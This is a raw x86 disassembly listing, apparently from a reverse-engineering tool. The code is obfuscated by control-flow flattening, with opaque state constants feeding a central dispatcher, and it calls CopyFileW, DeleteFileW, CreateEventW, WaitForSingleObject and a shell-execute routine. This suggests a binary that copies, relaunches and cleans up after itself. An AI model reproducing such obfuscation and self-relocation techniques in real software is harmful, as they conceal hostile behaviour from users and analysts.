call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9e8]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc8
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9ec]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x28
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9f0]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x9f4]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0x540]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xa
call fcn.0041e580
add esp, 0xc
mov eax, dword [esi + 0xa08]
mov dword [eax], 0
mov eax, dword [esi + 0xa0c]
mov dword [eax], 0
mov eax, dword [esi + 0xa18]
mov dword [eax], 0
mov eax, dword [esi + 0xa1c]
mov dword [eax], 0xffffffff
call fcn.0043e350
mov ecx, 0x88c3ada4
cmp eax, 0
setl al
and al, 1
mov byte [esi + 0xa5a], al
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov eax, 0x42bafd3c
mov ecx, 0xea122854
mov dl, byte [esi + 0xa5a]
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, 0x104
mov ecx, dword [esi + 0x9d8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], 0x104
mov dword [esi + 0x53c], eax
call fcn.00401c40
add esp, 8
mov ecx, dword [esi + 0x9f8]
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
call eax
lea ecx, [0x45e360]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0041ee43
add esp, 8
lea ecx, [0x45e120]
mov edx, dword [esi + 0x9ac]
mov dword [edx], eax
mov eax, dword [esi + 0x9ac]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0041ee43
add esp, 8
mov ecx, 0x751ac034
mov edx, 0x782d062f
mov dword [0x52f984], eax
cmp dword [0x52f984], 0
cmovne ecx, edx
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov eax, 0
mov ecx, 0x28
mov edx, dword [esi + 0xa20]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x28
mov dword [esi + 0x538], eax
mov dword [esi + 0x534], ecx
call fcn.0041e580
add esp, 0xc
mov dword [esi + 0x950], 0xde23c35e
jmp 0x40ad3c
mov eax, 0xc23b010b
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, 0x646cb2cb
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, 0xc04f64e3
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, 0x54cc0acf
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, dword [esi + 0xa18]
sub esp, 4
mov dword [esp], eax
call fcn.0043cca0
add esp, 4
mov ecx, 0x79b7488c
cmp eax, 0
setne dl
and dl, 1
mov byte [esi + 0xa5b], dl
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov eax, 0x730964ae
mov ecx, 0xeb17f453
mov dl, byte [esi + 0xa5b]
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, 0x104
mov ecx, dword [esi + 0x9f8]
mov ecx, dword [ecx]
mov edx, dword [esi + 0x9d8]
mov edi, dword [esi + 0x9c4]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esi + 0x530], eax
call fcn.0042c800
add esp, 0x10
mov ecx, 0
mov edx, dword [esi + 0xa14]
mov dword [edx], eax
mov eax, dword [esi + 0xa14]
mov eax, dword [eax]
sub ecx, 4
add eax, ecx
mov ecx, dword [esi + 0x9c4]
mov word [ecx + eax*2], 0
mov eax, dword [esi + 0x9c4]
sub esp, 0x10
mov ecx, esp
mov dword [ecx + 0xc], eax
mov dword [ecx + 8], 0
mov dword [ecx + 4], 0
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventW]
call eax
mov ecx, 0xc4c8e457
mov edx, dword [esi + 0x960]
mov dword [edx], eax
mov eax, dword [esi + 0x960]
cmp dword [eax], 0
setne bl
and bl, 1
mov byte [esi + 0xa5c], bl
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov eax, 0x9fae3a14
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, 0x45c7db2a
mov dword [esi + 0x950], eax
jmp 0x40ad3c
lea eax, [0x52f988]
mov ecx, 0x104
mov edx, dword [esi + 0x9f8]
mov edx, dword [edx]
mov edi, dword [esi + 0x9d8]
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], 0x104
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esi + 0x518], ecx
call fcn.00441460
add esp, 0x10
mov ecx, 0xee976b3f
mov dword [esi + 0x950], ecx
mov dword [esi + 0x514], eax
jmp 0x40ad3c
mov eax, 0xc27c15e0
mov ecx, 0x83059fcc
mov edx, dword [esi + 0xa18]
cmp dword [edx], 6
cmovb eax, ecx
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov dword [esi + 0x950], 0x695d9aa3
jmp 0x40ad3c
mov eax, 0
mov ecx, 0x20a
mov edx, dword [esi + 0x9c4]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x504], eax
mov dword [esi + 0x500], ecx
call fcn.00455f70
add esp, 0xc
mov ecx, 0
mov edx, 0x20a
mov edi, dword [esi + 0x9c8]
sub esp, 0xc
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x4fc], eax
mov dword [esi + 0x4f8], ecx
mov dword [esi + 0x4f4], edx
call fcn.00455f70
add esp, 0xc
mov ecx, 0x104
mov edx, dword [esi + 0x9c4]
sub esp, 8
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esi + 0x4f0], eax
mov dword [esi + 0x4ec], ecx
call fcn.00441d30
add esp, 8
mov eax, dword [esi + 0x9c4]
sub esp, 4
mov dword [esp], eax
call fcn.004510c0
add esp, 4
mov ecx, 0x104
mov edx, dword [esi + 0xa2c]
mov dword [edx], eax
mov eax, dword [esi + 0xa04]
mov eax, dword [eax]
mov edx, dword [esi + 0x9b8]
mov edi, dword [esi + 0x9c8]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
mov dword [esi + 0x4e8], ecx
call fcn.00441460
add esp, 0x10
mov ecx, 0xc2f1c63d
mov edx, dword [esi + 0xa2c]
mov edx, dword [edx]
mov edi, dword [esi + 0x9c4]
mov ebx, dword [esi + 0xa04]
mov ebx, dword [ebx]
add ecx, 0x104
sub ecx, ebx
sub ecx, 0xc2f1c63d
mov ebx, dword [esi + 0x9c8]
mov dword [esi + 0x4e4], eax
mov eax, dword [esi + 0xa04]
mov eax, dword [eax]
shl eax, 1
add ebx, eax
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
call fcn.00441460
add esp, 0x10
lea ecx, [0x45e360]
mov edx, 4
mov edi, 0
mov ebx, 0x61d64b85
mov dword [esi + 0x4e0], eax
mov eax, dword [esi + 0xa04]
mov eax, dword [eax]
add ebx, 0x104
sub ebx, eax
sub ebx, 0x61d64b85
mov eax, dword [esi + 0xa2c]
mov eax, dword [eax]
sub edi, eax
add ebx, edi
mov eax, dword [esi + 0x9c8]
mov edi, dword [esi + 0xa04]
mov edi, dword [edi]
shl edi, 1
add eax, edi
mov edi, dword [esi + 0xa2c]
mov edi, dword [edi]
shl edi, 1
add eax, edi
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esi + 0x4dc], edx
call fcn.00441460
add esp, 0x10
mov dword [esi + 0x950], 0x7ff2f5b4
mov dword [esi + 0x4d8], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x9c8]
mov ecx, dword [esi + 0x9dc]
sub esp, 0xc
mov edx, esp
mov dword [edx + 4], eax
mov dword [edx], ecx
mov dword [edx + 8], 1
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileW]
call eax
mov ecx, 0xf3f83e8f
mov edx, 0x496d366a
cmp eax, 0
cmove ecx, edx
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov eax, 0
mov ecx, 0x20a
mov edx, dword [esi + 0x9bc]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x4d4], eax
mov dword [esi + 0x4d0], ecx
call fcn.00455f70
add esp, 0xc
mov ecx, 0
mov edx, 0x20a
mov edi, dword [esi + 0x9c0]
sub esp, 0xc
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x4cc], eax
mov dword [esi + 0x4c8], ecx
mov dword [esi + 0x4c4], edx
call fcn.00455f70
add esp, 0xc
mov ecx, 0x104
mov edx, dword [esi + 0x9bc]
sub esp, 8
mov dword [esp], edx
mov dword [esp + 4], 0x104
mov dword [esi + 0x4c0], eax
mov dword [esi + 0x4bc], ecx
call fcn.00441d30
add esp, 8
mov eax, 0x104
mov ecx, dword [esi + 0xa04]
mov ecx, dword [ecx]
mov edx, dword [esi + 0x9b8]
mov edi, dword [esi + 0x9c0]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esi + 0x4b8], eax
call fcn.00441460
add esp, 0x10
mov ecx, dword [esi + 0x9bc]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x4b4], eax
call fcn.004510c0
add esp, 4
mov ecx, 0x104
mov edx, dword [esi + 0x9bc]
mov edi, dword [esi + 0xa04]
mov edi, dword [edi]
sub ecx, 0xca49d75b
sub ecx, edi
add ecx, 0xca49d75b
mov edi, dword [esi + 0x9c0]
mov ebx, dword [esi + 0xa04]
mov ebx, dword [ebx]
shl ebx, 1
add edi, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
call fcn.00441460
add esp, 0x10
mov ecx, dword [0x530ce0]
mov edx, dword [esi + 0x9c0]
sub esp, 8
mov edi, esp
mov dword [edi], edx
mov dword [edi + 4], 0
mov dword [esi + 0x4b0], eax
call ecx
mov ecx, dword [esi + 0x968]
mov dword [ecx], eax
mov dword [esi + 0x950], 0xd6852ce2
jmp 0x40ad3c
mov eax, 0xfe012550
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x9c8]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
mov ecx, dword [esi + 0x9dc]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x364], eax
call fcn.004577e0
add esp, 4
mov eax, 0x42e80297
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov dword [esi + 0x950], 0x1f9cafec
jmp 0x40ad3c
mov eax, dword [esi + 0x95c]
mov eax, dword [eax]
sub esp, 8
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
mov ecx, 0x51946fc1
mov edx, 0x2d6ea905
mov edi, dword [esi + 0xa10]
mov dword [edi], eax
mov eax, dword [esi + 0xa10]
cmp dword [eax], 0
cmovne ecx, edx
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov eax, 0x51946fc1
mov ecx, 0x7efc4dac
mov edx, dword [esi + 0xa10]
cmp dword [edx], 0x80
cmovne eax, ecx
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x9c8]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
mov ecx, dword [esi + 0x9dc]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x360], eax
call fcn.004577e0
add esp, 4
mov dword [esi + 0x950], 0x1f9cafec
jmp 0x40ad3c
mov eax, 0
mov ecx, 0x20a
lea edx, str.open
mov edi, dword [esi + 0x96c]
mov dword [edi], 0x3c
mov edi, dword [esi + 0x96c]
mov dword [edi + 4], 0x40
mov edi, dword [esi + 0x96c]
mov dword [edi + 8], 0
mov edi, dword [esi + 0x96c]
mov dword [edi + 0xc], edx
mov edx, dword [esi + 0x96c]
mov dword [edx + 0x18], 0
mov edx, dword [esi + 0x96c]
mov dword [edx + 0x20], 0
mov edx, dword [esi + 0x9e0]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x35c], eax
mov dword [esi + 0x358], ecx
call fcn.00455f70
add esp, 0xc
mov ecx, 0x104
lea edx, [0x45e20a]
mov edi, 3
mov ebx, dword [esi + 0x9e0]
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], 3
mov dword [esi + 0x354], eax
mov dword [esi + 0x350], ecx
mov dword [esi + 0x34c], edi
call fcn.00441460
add esp, 0x10
mov ecx, dword [esi + 0x9c0]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x348], eax
call fcn.004510c0
add esp, 4
mov ecx, 0x101
mov edx, dword [esi + 0x9c0]
mov edi, dword [esi + 0x9e0]
add edi, 6
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x101
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
mov dword [esi + 0x344], ecx
call fcn.00441460
add esp, 0x10
mov ecx, 0
mov edx, dword [0x4ee4ac]
movzx edx, word [edx]
mov edi, dword [esi + 0xa50]
mov dword [edi], edx
mov edx, dword [esi + 0xa50]
mov edx, dword [edx]
mov edi, ecx
sub edi, edx
mov edx, ecx
sub edx, 1
add edi, edx
sub ecx, edi
mov edx, dword [0x4ee4ac]
movzx ecx, word [edx + ecx*2]
mov edx, dword [esi + 0xa54]
mov dword [edx], ecx
mov ecx, dword [esi + 0xa54]
mov ecx, dword [ecx]
mov edx, dword [0x4ee4ac]
mov edi, dword [esi + 0xa50]
mov edi, dword [edi]
shl edi, 1
add edx, edi
add edx, 4
mov edi, dword [0x4ee4ac]
add edi, 2
mov ebx, dword [esi + 0xa50]
mov ebx, dword [ebx]
mov dword [esi + 0x340], eax
mov eax, dword [esi + 0x9b4]
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call fcn.004016a0
add esp, 0x14
mov eax, dword [esi + 0x9c4]
sub esp, 0x10
mov ecx, esp
mov dword [ecx + 0xc], eax
mov dword [ecx + 8], 0
mov dword [ecx + 4], 0
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventW]
call eax
mov ecx, 0x3a711110
mov edx, 0x4d33b5a5
mov edi, dword [esi + 0x960]
mov dword [edi], eax
mov eax, dword [esi + 0x960]
cmp dword [eax], 0
cmove ecx, edx
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov eax, dword [esi + 0x9c8]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
mov ecx, dword [esi + 0x9dc]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x33c], eax
call fcn.004577e0
add esp, 4
mov dword [esi + 0x950], 0x1f9cafec
jmp 0x40ad3c
mov eax, 0x761d9518
mov ecx, 0xe895190b
mov edx, dword [esi + 0xa00]
mov edx, dword [edx]
shl edx, 1
mov edi, dword [esi + 0xa00]
mov dword [edi], edx
cmp dword [0x52f984], 0
cmovne eax, ecx
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, dword [0x52f984]
sub esp, 4
mov dword [esp], eax
call fcn.004510c0
add esp, 4
mov ecx, 0x9442990b
shl eax, 1
mov edx, dword [esi + 0xa08]
mov dword [edx], eax
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov dword [esi + 0x950], 0x761d9518
jmp 0x40ad3c
mov eax, 0x33e0fd09
mov ecx, 4
mov edx, 0
mov edi, dword [esi + 0xa00]
mov edi, dword [edi]
mov ebx, edx
sub ebx, 4
mov dword [esi + 0x338], eax
mov eax, edx
sub eax, edi
add ebx, eax
mov eax, edx
sub eax, ebx
sub edx, eax
sub ecx, edx
mov eax, dword [esi + 0xa08]
mov eax, dword [eax]
mov edx, dword [esi + 0x338]
add edx, 4
add edx, eax
sub edx, 0x33e0fd09
add ecx, 0x48b92218
add ecx, edx
sub ecx, 0x48b92218
mov eax, dword [esi + 0xa0c]
mov dword [eax], ecx
mov eax, dword [esi + 0x9c4]
sub esp, 4
mov dword [esp], eax
call fcn.004510c0
add esp, 4
mov ecx, 0x104
mov edx, dword [esi + 0x9c4]
mov edi, dword [esi + 0x9cc]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
mov dword [esi + 0x334], ecx
call fcn.00439af0
add esp, 0x10
mov eax, dword [0x530d0c]
mov ecx, dword [esi + 0x9cc]
mov edx, dword [esi + 0xa0c]
mov edx, dword [edx]
sub esp, 0x18
mov edi, esp
mov dword [edi + 0x14], ecx
mov dword [edi + 0x10], edx
mov dword [edi + 0xc], 0
mov dword [edi + 8], 4
mov dword [edi + 4], 0
mov dword [edi], 0xffffffff
call eax
mov ecx, 0xf0e89897
mov edx, 0xc8e3be19
mov edi, dword [esi + 0x964]
mov dword [edi], eax
mov eax, dword [esi + 0x964]
cmp dword [eax], 0
cmove ecx, edx
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov eax, 0x1232f935
mov ecx, 0x3efe7bb6
mov dl, byte [esi + 0xa5e]
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x9c8]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
mov ecx, dword [esi + 0x9dc]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x32c], eax
call fcn.004577e0
add esp, 4
mov dword [esi + 0x950], 0x1f9cafec
jmp 0x40ad3c
mov eax, dword [esi + 0xa0c]
mov eax, dword [eax]
mov ecx, dword [esi + 0x958]
mov ecx, dword [ecx]
mov dword [ecx], eax
mov eax, dword [esi + 0xa00]
mov eax, dword [eax]
mov ecx, dword [esi + 0x958]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
mov eax, dword [esi + 0xa00]
mov eax, dword [eax]
mov ecx, dword [esi + 0x9dc]
mov edx, dword [esi + 0xa00]
mov edx, dword [edx]
mov edi, dword [esi + 0x958]
mov edi, dword [edi]
add edi, 8
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.00441460
add esp, 0x10
mov ecx, 0x662570da
mov edx, 0x8215e199
mov edi, 8
mov ebx, dword [esi + 0xa08]
mov ebx, dword [ebx]
mov dword [esi + 0x328], eax
mov eax, dword [esi + 0x958]
mov eax, dword [eax]
mov dword [esi + 0x324], eax
mov eax, dword [esi + 0xa00]
mov eax, dword [eax]
sub edi, 0x2f4d114f
add edi, eax
mov eax, dword [esi + 0x324]
mov dword [eax + edi + 0x2f4d114f], ebx
cmp dword [0x52f984], 0
cmovne ecx, edx
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov eax, 0
mov ecx, 8
mov edx, dword [esi + 0xa08]
mov edx, dword [edx]
mov edi, dword [0x52f984]
mov ebx, dword [esi + 0xa08]
mov ebx, dword [ebx]
mov dword [esi + 0x320], eax
mov eax, dword [esi + 0x958]
mov eax, dword [eax]
mov dword [esi + 0x31c], eax
mov eax, dword [esi + 0xa00]
mov eax, dword [eax]
mov dword [esi + 0x318], eax
mov eax, dword [esi + 0x320]
mov dword [esi + 0x314], ecx
mov ecx, dword [esi + 0x318]
sub eax, ecx
mov ecx, dword [esi + 0x314]
sub ecx, eax
mov eax, dword [esi + 0x320]
sub eax, 4
sub ecx, eax
mov eax, dword [esi + 0x31c]
add eax, ecx
sub esp, 0x10
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
call fcn.00441460
add esp, 0x10
mov dword [esi + 0x950], 0x662570da
mov dword [esi + 0x310], eax
jmp 0x40ad3c
mov eax, 0x2a342b31
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x9b4]
mov ecx, dword [esi + 0x96c]
mov dword [ecx + 0x10], eax
mov eax, dword [esi + 0x9e0]
mov ecx, dword [esi + 0x96c]
mov dword [ecx + 0x14], eax
mov eax, dword [esi + 0x96c]
mov dword [eax + 0x1c], 0
mov eax, dword [0x530ce8]
mov ecx, dword [esi + 0x96c]
sub esp, 4
mov edx, esp
mov dword [edx], ecx
call eax
mov ecx, 0x4e85fb80
cmp eax, 1
setne bl
and bl, 1
mov byte [esi + 0xa5f], bl
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov eax, 0xe8c8a8d7
mov ecx, 0x5e12ef48
mov dl, byte [esi + 0xa5f]
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x9c8]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
mov ecx, dword [esi + 0x9dc]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x30c], eax
call fcn.004577e0
add esp, 4
mov dword [esi + 0x950], 0x1f9cafec
jmp 0x40ad3c
mov dword [esi + 0x950], 0x1f9cafec
jmp 0x40ad3c
mov eax, 0
mov ecx, 0x20a
mov edx, dword [esi + 0x9e0]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x2f8], eax
mov dword [esi + 0x2f4], ecx
call fcn.00455f70
add esp, 0xc
mov ecx, 0x104
lea edx, str._q__u
mov edi, 6
mov ebx, dword [esi + 0x9e0]
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], 6
mov dword [esi + 0x2f0], eax
mov dword [esi + 0x2ec], ecx
mov dword [esi + 0x2e8], edi
call fcn.00441460
add esp, 0x10
mov ecx, dword [esi + 0x9c0]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x2e4], eax
call fcn.004510c0
add esp, 4
mov ecx, 0xfe
mov edx, dword [esi + 0x9c0]
mov edi, dword [esi + 0x9e0]
add edi, 0xc
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0xfe
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
mov dword [esi + 0x2e0], ecx
call fcn.00441460
add esp, 0x10
mov ecx, dword [esi + 0x9b4]
mov edx, dword [esi + 0x96c]
mov dword [edx + 0x10], ecx
mov ecx, dword [esi + 0x9e0]
mov edx, dword [esi + 0x96c]
mov dword [edx + 0x14], ecx
mov ecx, dword [esi + 0x96c]
mov dword [ecx + 0x1c], 0
mov ecx, dword [0x530ce8]
mov edx, dword [esi + 0x96c]
sub esp, 4
mov edi, esp
mov dword [edi], edx
mov dword [esi + 0x2dc], eax
call ecx
mov ecx, 0xf62f4ff9
cmp eax, 1
setne al
and al, 1
mov byte [esi + 0xa61], al
mov dword [esi + 0x950], ecx
jmp 0x40ad3c
mov dword [esi + 0x950], 0x1f9cafec
jmp 0x40ad3c
mov eax, 0xb431c0d4
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov dword [esi + 0x950], 0x1f9cafec
jmp 0x40ad3c
mov eax, 0xfc4d956b
mov ecx, 0xacd474b0
mov edx, dword [esi + 0x958]
cmp dword [edx], 0
cmovne eax, ecx
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, 0x2c99b0ff
mov ecx, dword [esi + 0x964]
cmp dword [ecx], 0
setne dl
and dl, 1
mov byte [esi + 0xa62], dl
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, 0x74269e10
mov ecx, 0x65637ba1
mov dl, byte [esi + 0xa62]
test dl, 1
cmovne eax, ecx
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, 0xbeb607de
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, 0xc02dc21c
mov ecx, 0x37599659
mov edx, dword [esi + 0x960]
cmp dword [edx], 0
cmovne eax, ecx
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, dword [esi + 0x960]
mov eax, dword [eax]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
mov dword [esi + 0x950], 0xc02dc21c
mov dword [esi + 0x2c8], eax
jmp 0x40ad3c
mov dword [esi + 0x950], 0x695d9aa3
jmp 0x40ad3c
mov eax, 0xdc6d5a4a
mov dword [esi + 0x950], eax
jmp 0x40ad3c
mov eax, dword [esi + 0xa1c]
mov eax, dword [eax]
mov ecx, dword [esi + 0x954]
mov dword [ecx], eax
mov dword [esi + 0x950], 0xfc4400d2
jmp 0x40ad3c
mov eax, 0
mov ecx, 0xa
mov edx, 0x10
mov edi, 0x28
mov ebx, 0xc8
mov dword [esi + 0x2bc], eax
mov eax, 0x20a
mov dword [esi + 0x2b8], eax
mov eax, 0x3c
mov dword [esi + 0x2b4], eax
mov eax, 4
mov dword [esi + 0x2b0], eax
mov dword [esi + 0x2ac], ebx
mov dword [esi + 0x2a8], ecx
mov dword [esi + 0x2a4], edx
mov dword [esi + 0x2a0], edi
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x29c], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x298], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x294], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x290], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x28c], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, 0x3c
mov dword [esi + 0x288], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x284], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x280], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x27c], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x278], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x274], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x270], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x26c], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x268], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x264], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x260], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x25c], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x258], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x254], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x250], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x24c], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x2b0]
mov dword [esi + 0x248], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, 0x20c
mov dword [esi + 0x244], eax
mov eax, ecx
mov dword [esi + 0x240], ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x23c], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x238], eax
mov eax, ecx
call fcn.0041e690
mov eax, esp
mov ecx, dword [esi + 0x240]
mov dword [esi + 0x234], eax
mov eax, ecx
call fcn.0041e690
